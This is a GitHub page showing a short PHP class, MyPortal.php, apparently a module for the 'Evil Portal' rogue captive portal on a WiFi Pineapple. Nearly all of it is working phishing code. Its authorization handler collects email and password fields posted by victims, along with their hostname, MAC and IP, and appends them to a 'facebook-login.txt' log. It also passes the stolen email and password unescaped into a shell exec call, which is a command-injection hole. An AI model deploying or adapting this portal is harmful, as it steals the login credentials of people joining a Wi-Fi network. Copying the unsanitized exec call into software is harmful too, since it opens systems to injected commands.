-
Notifications
You must be signed in to change notification settings - Fork 2
/
MyPortal.php
70 lines (52 loc) · 1.77 KB
/
MyPortal.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php namespace evilportal;
class MyPortal extends Portal
{
public function handleAuthorization()
{
$dirs = array(
'/root/',
'/sd/',
);
$dirs = array_filter($dirs, 'file_exists');
$dirs = array_filter($dirs, 'is_writeable');
if (empty($dirs)) {
die("die");
}
$dir = array_pop($dirs);
$want = $dir . DIRECTORY_SEPARATOR . 'evilportal-logs';
if (file_exists($want)) {
}
else {
mkdir($want);
}
if (!file_exists($want)) {
}
if (!is_dir($want)) {
}
if (!is_writeable($want)) {
}
$want .= DIRECTORY_SEPARATOR;
if (isset($_POST['email'])) {
$email = isset($_POST['email']) ? $_POST['email'] : 'email';
$pwd = isset($_POST['password']) ? $_POST['password'] : 'password';
$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname';
$mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac';
$ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip';
file_put_contents("$dir/evilportal-logs/facebook-login.txt", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND);
exec("pineapple notify $email' - '$pwd");
}
// handle form input or other extra things there
// Call parent to handle basic authorization first
parent::handleAuthorization();
}
public function showSuccess()
{
// Calls default success message
parent::showSuccess();
}
public function showError()
{
// Calls default error message
parent::showError();
}
}